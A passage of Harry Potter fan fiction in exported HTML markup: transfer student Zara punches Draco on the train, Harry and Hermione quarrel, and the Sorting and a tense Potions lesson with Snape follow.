style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">Hermione\nshook her head and turned to look out the window, and through the corner of her\neye she saw Zara stand.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&#8220;Oh\nmy God it&#8217;s you.&#8221; Zara said in clipped tones glaring at Draco.</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&#8220;Hey\nReynolds.&#8221; Draco smirked, but was confused upon seeing her.</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">Hermione\nturned and looked between Draco and Zara, confused, &#8220;you know each other?&#8221; Zara\nwas glaring menacingly at Draco and it was obvious that they knew each other</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">Draco&#8217;s\nsmile was evil, as he turned to look at Hermione and then back at Zara. &#8220;Yeah\nwe know each other, don&#8217;t we Reynolds?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">Without\nwarning Zara&#8217;s fist shot up bashing him hard in the nose, he staggered\nbackwards out of the compartment landing on the floor holding his nose. Ron,\nHarry and Hermione jumped up out of their seats as Zara walked out of the\ncompartment stepping on Draco&#8217;s stomach making him holler in more pain, she continued\non down to her compartment and closed the doors behind her. </p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&#8220;Why\ndidn&#8217;t she just hex him? That&#8217;s what I would have done anyway&#8221; Hermione thought\nout loud.</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">Harry\nshook his head not knowing, &#8220;nice friend you have made Ron.&#8221; He watched Ron\nwalk past him out the compartment in the direction of where Zara went.&nbsp; Harry shook his head back and forth looking\ndown at Draco and then back up at Hermione with confusion it now all coming\nback to him.&nbsp; &#8220;What do you have that\nMalfoy wants?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&#8220;It&#8217;s\nnothing really.&#8221;&nbsp; She turned and walked\nback to her seat looking out the window again.&nbsp;\nHarry looked down at Draco who still was lying on the floor obviously\nstill dazed from being hit. Harry then kicked Draco&#8217;s foot out of the way of\nthe compartment doors, and closed them.&nbsp;\nHe walked over slowly and sat down next to Hermione he folded his arms\nacross his chest, he then turned looking at her directly. </p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;She could feel his eyes on her and she looked\nat him for a moment, &#8220;what?&#8221; she was confused.&nbsp;\nHe didn&#8217;t say anything he just stared at her which made her feel\nawkward, &#8220;What?!&#8221; </p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">He\nwanted to say something, but he felt that it would do no good. Trying to figure\nher out these days was quite a chore.&nbsp;\n&#8220;You&#8217;re hiding something from me aren&#8217;t you?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&#8220;Why\nwould I be hiding anything, just because I don&#8217;t feel like talking about every\nlittle thing that bothers me it doesn&#8217;t mean I&#8217;m hiding something alright?&#8221; She\nopened her trunk and pulled out a text book that she had been meaning to read\nand opened it.&nbsp; Her mind immediately started\nto focus and work on the words.&nbsp; Harry\nreached over and plucked the book from her hands, and slammed it shut holding\nit in his lap.&nbsp; Realizing how quickly he\nstole her book she looked up at him &#8220;I was reading that.&#8221;&nbsp; Her eyes narrowed.</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&#8220;I\nknow.&#8221;&nbsp; Harry held the book against his\nchest, looking at her in anger. &#8220;You are driving me insane Hermione.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">Hermione\nreached for her book not being able to get it since he held it away from her.\n&#8220;Not everything revolves around you Harry, I hope you realize that.&#8221; </p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&#8220;You&#8217;re\nright it doesn&#8217;t, but it also doesn&#8217;t revolve around you either.&#8221; He snapped\nangrily, tossing the book to the seat next to him.</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">She\ncouldn&#8217;t help the angry glare as she looked at him &#8220;well if it doesn&#8217;t then\njust leave me alone. In fact please do, just leave me alone.&#8221; She almost\ncouldn&#8217;t contain her anger.</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&#8220;You\nwant me to leave you alone?&#8221; He asked in both a statement and a question.</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&#8220;Yes,\nleave me alone.&#8221; She glared.</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&#8220;Are\nyou sure you want me to leave you alone?&#8221; Somewhere in the pit of his stomach\nhe wished she wasn&#8217;t serious.&nbsp; But then\nhe saw that determined look in her eyes when she was very serious.&nbsp; He didn&#8217;t like it.</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&#8220;What\npart of leave me alone didn&#8217;t you understand, the leave part or the alone\npart?&#8221; Hermione was very sarcastic.</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp; And without another word Harry watched her as\nshe stood and walked over to his side and picked her book up from off the\nseat.&nbsp; He reached his hand out and\ngrabbed hold of her wrist. &#8220;Why?&#8221; he asked lightly. &#8220;You know whatever problems\nyou are having I only want to help you.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&#8220;I\nsaid so, that&#8217;s why.&#8221; She replied without looking at him.&nbsp; &#8220;I don&#8217;t need anybodies help, I can take care\nof myself. Now let go of me or else you will regret it if you don&#8217;t.&#8221;&nbsp; She warned her tone like ice.</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">Harry\nfelt confused, <i style="mso-bidi-font-style:normal">did she just threaten me?</i>\nHe stared at her astonished yet he did not let go of her wrist.&nbsp; &#8220;This is becoming redundant Hermione, we had\nthis same conversation at the lake, and you still haven&#8217;t said anything more.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&#8220;And\nI won&#8217;t, now let go.&#8221; She tried to wriggle her wrist free from his grasp; she\ndropped her book in doing so. Hermione had this feeling that he wasn&#8217;t going to\ngive up easily.&nbsp; &#8220;Harry I&#8217;m warning you,\nlet go.&#8221; She closed her eyes tightly, sucking in a breath.</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">But\nhe didn&#8217;t let go, his grip didn&#8217;t tighten but it didn&#8217;t loosen either. Through\nthe corner of his eye he saw her other hand quickly lift as if she was going to\nsmack him, and she was. But he grabbed it a split second before her hand\nreached its destination. He stared up at her with two expressions anger and\nastonishment. &#8220;I can&#8217;t believe you were going to do that?&#8221; His tone very firm\nbut not out of control. He could never for as long as he&#8217;s known her bring\nhimself you yell or raise his voice at her no matter what she did.</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&#8220;I\nsaid let go.&#8221; She said firmly, but feeling very foolish, with him holding both\nher wrists. She could feel her cheeks flushing with embarrassment as he\nreleased her wrists just staring up at her.&nbsp;\nWithout looking at him she picked up her book from off the floor,\n&#8220;Harry, I think it&#8217;s best for all of us if you stay away from me. I really\nwould have hit you if you didn&#8217;t stop me.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt"><i style="mso-bidi-font-style:\nnormal">But I don&#8217;t want to</i>. He thought to himself, <i style="mso-bidi-font-style:\nnormal">I don&#8217;t want to?</i> Harry questioned his own mind. <i style="mso-bidi-font-style:normal">Maybe Ron was right, maybe I am in love with\nher</i>.&nbsp; Of course stranger things have\nhappened.&nbsp; All this was so confusing\nespecially how Hermione wanted him to stay away from her, but how could he now?&nbsp; He wanted to be understanding and yes it was\na shock that she would have hit him, but he was at as much fault as she was. He\nwouldn&#8217;t let go when she told him too. &#8220;I don&#8212; &#8221; he looked up at her but she\nwas so very serious that she didn&#8217;t want him to say a thing.</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&#8220;No,\ndon&#8217;t make this any harder than it is, believe me it&#8217;s for your own good if you\njust stay away.&#8221;&nbsp; She clutched the book\nhard to her chest, and backed slowly towards the compartment doors, opened them\nand stepped out. She turned and walked away from the compartment; she stopped\nand turned around staring at Ron who was coming towards her.&nbsp; She knew he would probably want to talk to\nher too so Hermione just turned the other way, and practically ran down the\nlength of the train and was gone from Ron&#8217;s site.</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">Ron\nshaking his head back and forth before going into the compartment, &#8220;what is\nwith that girl?&#8221; He sat down across from Harry.</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&#8220;I\ndon&#8217;t know any more than you do.&#8221; Harry replied, &#8220;if only&#8212;&#8221; He stopped in mid\nsentence. He sure had been saying the same things over and over again and it\nhad gotten him nowhere.</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">Ron\nsomehow knew what his friend was going to say &#8220;look, all we can do is offer her\nour help, if she doesn&#8217;t want it we can&#8217;t force it on her.&#8221;&nbsp; He said regretfully. &#8220;Sometimes I look at her\nand think what changed her, she used to be so happy.&nbsp; And then I think she stopped being happy\nwhen&#8212;&#8221; Now Ron stopped he didn&#8217;t want to offend both his friends. &#8220;What do you\nthink of those new students?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&#8220;Besides\nthe fact that they are strange, I really don&#8217;t have an opinion yet. I only met\nthat one girl for a short amount of time. All I can say is she&#8217;s quite an\ninteresting character, hitting Malfoy like that.&#8221; He laughed lightly. &#8220;Boy that\nis something I will never forget.&#8221; </p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&#8220;Yeah\nthat was pretty great, you know I went to find her. But no luck.&#8221; Ron&#8217;s voice\nheld disappointment.</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&#8220;I&#8217;m\nsure you&#8217;ll see her again, how could you miss anyone with that color hair?&#8221;\nHarry teased.</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&#8220;I\nthink it looks really good on her.&#8221; Ron was smiling, &#8220;who would have thought\npurple hair. Oh one guy to watch out for is that Blue haired freak, he kinda\nreminds me a bit of Malfoy.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&#8220;Well\nit&#8217;s definitely not the hair that probably reminds you of him, or the fact that\nhe&#8217;s a shade darker than pale face Malfoy.&#8221; Harry laughed at his own thought.</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&#8220;True,\nbut there&#8217;s something about him that just urks me.&#8221; Ron sighed and then glanced\nout the window.</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">It\nhad gotten much darker outside since they left the train station. And at that\nmoment Alicia Spinnet stuck her head in the compartment. &#8220;Hi Harry, Ron.&#8221; She\nsaid with a smile, &#8220;ten minutes.&#8221; Alicia replied and then left the compartment.</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">Harry\nand Ron nodded as they went for their things to change before they got to\nschool</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">****</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">Ron\nand Harry watched as the first years along with the transfer students who were\nin the age range from eleven to seventeen, it was kinda of funny to see these\nhuge tall guys mixed in with these little short afraid little children.&nbsp; They both saw Hagrid and his big loud voice\ncarrying over the crowd, &#8220;first years and transfers over here.&#8221; </p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">Ron\npulled on Harry&#8217;s arm and then pointing to the crowd, &#8220;look there she is?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&#8220;Who,\nthat girl or Hermione?&#8221; Harry tried to look and he spotted three different\ncolored heads in the crowd, and they stood on the boat, they were talking\namongst themselves, it seems that they were outcasts in the whole of the\ntransfer students.&nbsp; He saw Jewel pound\nher foot down on a big, tall, brown haired guy and him grab his foot and holler\nvery loudly in pain.&#8221;&nbsp; Jewel just laughed\nalong with her two friends as they sat down.&nbsp;\n<i style="mso-bidi-font-style:normal">Uh oh</i> Harry thought these new\nstudents were going to be trouble, he could tell right away.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">Then\nit was there turn to catch a ride when the carriages came by and stopped, Ron\nand Harry along with Alicia Spinnet and Lavender Brown got in one. As soon as\nthey sat down the carriage started to move.&nbsp;\nLavender looked around and noticed a person missing. &#8220;Hey where&#8217;s\nHermione, is she coming back this year?&#8221; She almost sounded worried.</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&#8220;Well\nshe was on the train with us, but I don&#8217;t know where she is now.&#8221; Ron offered\nas he could see that Harry was deep in thought about her whereabouts as well.</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&#8220;Oh\nI&#8217;m glad.&#8221; Lavender said with relief. &#8220;I let her borrow a few of my shirts and\nthings and I was wondering if I would ever see them again.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">Alicia\nturned to Lavender, &#8220;Hermione wanted to borrow some of your clothes.&#8221; She\nalmost looked repulsed.</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&#8220;Yeah,\nit was weird. She just showed up on my doorstep this summer asking me if she\ncould borrow a few things. Boy the objects she had chosen. I never would have\nthought that she would ever wear anything that went above the knee. She sure\nfooled me, she did look cute though.&#8221; Lavender smiled as she thought about\nHermione as a daughter and she was the mother trying to teach her the ways to\nget noticed.</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&#8220;Those\nwere your clothes.&#8221; Ron announced disgusted.<br style="mso-special-character:\nline-break">\n<br style="mso-special-character:line-break">\n</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&#8220;Ron\nthis is girl talk if you please, so keep your nose out of it.&#8221; Lavender replied\nwith a commanding tone.</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">Offended\nRon turned towards the window but he knew Harry&#8217;s ears were tuned in to\nwhatever the girls were saying. But he would not bring attention to it.&nbsp; He barely heard while Lavender&#8217;s voice start\nup again, &#8220;as I was saying&#8221; was heard in a very low tone.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">After\na few more minutes of listening to gossiping females the carriage pulled up to\nthe castle and everybody was getting out, and making their way to the great\nhall for the student sorting, which was always so neat to watch, Ron had always\nthought so.&nbsp; They sat down at their\ntable, Harry immediately looked around for Hermione, and in a split second he\nfound her sitting near the end of the table by Parvati and Lavender. He guessed\nthey had found each other and then immediately turned his attention to the\nsorting.</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">The\nSorting hat was placed on the stool as it gave its little poem, and the first\nstudent was called to the front.&nbsp; &#8220;Glum,\nArnold.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">Arnold\napprehensive walked slowly to the front and put the hat on his head, and almost\ninstantly the hat shouted &#8220;Ravenclaw.&#8221; There was a loud applause from the\nRavenclaw table as Arnold put the hat back on the stool and made his way to\ntheir table.</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&#8220;Smood,\nLena.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&#8220;Hufflepuff!!&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&#8220;Crabbe,\nGloria.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&#8220;Slytherin!!&#8221;\n</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&#8220;Drewberry,\nSonya.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&#8220;Gryffindor!!&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">The\nhat went through ten first years placing them in their correct places, and then\nthe transfer students were next. Harry saw the big guy who got his foot crushed\nlean back in his chair. As he was called up &#8220;Brockson, Jocko.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&#8220;Gryffindor!!&#8221;\nThe hat shouted.</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&#8220;Valentine,\nEnrique.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&#8220;Slytherin!!&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt"><i style="mso-bidi-font-style:\nnormal">That&#8217;s no surprise</i>, Ron thought to himself as he continued to watch the\nsorting as Enrique went to sit with his kind.</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&#8220;Greene,\nGeorgia.&#8221; </p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&#8220;Ravenclaw!!&#8221;\nThe hat shouted</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&#8220;Sinclair,\nJewel.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&#8220;Slytherin!!&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt"><i style="mso-bidi-font-style:\nnormal">Oh no</i> Ron thought and then he secretly crossed his fingers under the table.</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&#8220;Port,\nAllison.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&#8220;Ravenclaw!!&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&#8220;Agustus,\nJessie.</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&#8220;Hufflepuff!!&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">After\na while the hat went through almost all the transfers Ron started rubbing his\nother fingers along the tabletop, and was bored and also getting very hungry he\nhoped they would be done soon, his stomach made a few gurgling sounds which\nmade Harry turn and look at him. &#8220;Hungry are you?&#8221; Harry&#8217;s voice was quiet.</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&#8220;Reynolds,\nZara.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">The\nhat took a little bit longer and the room seemed quieter than usual. And then\nit shouted. &#8220;Gryffindor!!&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">Ron\nalmost jumped and shouted with cheer, but he didn&#8217;t. He was sure the hat would\nput her in Slytherin besides both her friends were in it.&nbsp; He could see the slight sadness in her eyes\nas she waved to her friends and they waved back at her with the same sad\nexpressions. And she sat down in the available seat near the front, and finally\nwith no further ado the food appeared and Ron was one happy guy.</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">****</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">Harry\nhadn&#8217;t seen Hermione at all since they had been at school, not even the whole\nweekend, she was sure doing a good job of avoiding him he then realized that\nshe hadn&#8217;t just been avoiding him, she had been avoiding everyone.&nbsp; Potions was the very first class that\nmorning. Just what he needed to wake him up in the morning, that creepy mug of\nthe potions master would do the trick for any sleepy person. </p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;Harry sat in the back with Ron, he then found\nHermione up in the front in between Lavender and Parvati.&nbsp; He looked around the room finding that Zara\nReynolds come in almost late and plant her self on the aisle seat next to\nJocko. Where she turned and waved at both Enrique and Jewel, they both eagerly\nwaved back.&nbsp; She pulled something out of\nher green robe. That was the color robes of her school he thought. The\ntransfers really didn&#8217;t have to get the Hogwarts school robes until next\nyear.&nbsp; It was a necklace she pulled out\nwith some kind of square object hanging from it. It rested against her chest.\nHarry turned and noticed her friends doing the same thing and the looked up at\nthe front of the classroom with her hands folded as if she were the model\nstudent.</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">Snape\nlooked up from his book at the new students, three of them looked very odd, but\nof course he would only pick on the Gryffindors. He walked right up to her and\nlooked down on her oddly. &#8220;So you&#8217;re one of the transfer students are you?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&#8220;Yes\nsir.&#8221; Zara replied with a smile looking up at him.</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&#8220;You\nknow I don&#8217;t know if we&#8217;ll be able to fix that problem with your hair in this\nclass?&#8221; </p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&#8220;I\nwasn&#8217;t aware there was a problem with my hair sir.&#8221; She looked up at him,\n&#8220;although yours could use a wash.&#8221; She added with a smirk.</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">The\nGryffindors tried to hold in their laughter but it was almost impossible, even\na few of the Slytherin&#8217;s couldn&#8217;t keep quiet.&nbsp;\nSnape looked around the room with a very angry scowl and the students\nimmediately shut up.&nbsp; He looked down on\nZara, &#8220;you think you&#8217;re funny do you?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&#8220;No\nsir I didn&#8217;t say that, you just did though.&#8221; She smiled innocently.</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&#8220;Well\nyou won&#8217;t think it&#8217;s so funny when I take 30 points from Gryffindor,&#8221; he\nshouted all the Gryffindors sighed and gasped. But they knew it was coming he\nhad intentionally picked on Zara when there were now two Slytherins with\ncolorful hair. He wanted her to get mad.</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">Zara\nshrugged, &#8220;whatever.&#8221; Zara watched as Snape walked away and back up to the\nfront of the class room.</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">Jocko\nnudged her, &#8220;Zara shut up!&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&#8220;Mind\nyour own business Jockstrap.&#8221; She took her finger and flicked him in the cheek.</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">Jocko\nrubbed his cheek &#8220;I&#8217;ll get you for that Zara.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&#8220;Right,\nsure you go ahead I&#8217;d like to see you try it.&#8221; She glared menacingly.</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">Even\nthough Jocko was a huge guy, he seemed deathly afraid of Zara.&nbsp; &#8220;Maybe later.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">She\nscoffed and then laughed, &#8220;I thought so.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">Ron\nwas confused as he watched her, this couldn&#8217;t be the same girl he met on the\ntrain, she was horrible. He was sure the hat was confused about which house to\nput her in. it was probably debating between them. It had to have been, she\nseemed so cruel.&nbsp; When Snape&#8217;s back was\nturned and he started writing on the board, Ron watched as Jewel and Enrique\nturned around and leaned closer to her, &#8220;Jockstrap, that was good.&#8221; Enrique\nwhispered.</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">Zara\nshook her head and pointed down to the little square thing on her neck and they\nboth nodded.</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">Harry\ntried to listen to the class as Snape started talking.&nbsp; &#8220;Alright what is the main ingredient for\ngenerosity potion, anybody?&#8221; He looked around the class not one hand raised,\nnot even Hermione&#8217;s hand went up. Snape was confused but he didn&#8217;t show\nit.&nbsp; Harry was confused too, no matter\nwhat he was so used to seeing Hermione&#8217;s hand shoot up just waiting to be\ncalled on. But at this time she just sat there. </p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">Snape\ncalled on Hermione anyway, &#8220;Granger, do you know?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&#8220;Pixie\ndust?&#8221; she asked as a question, even though she was right.&nbsp; She 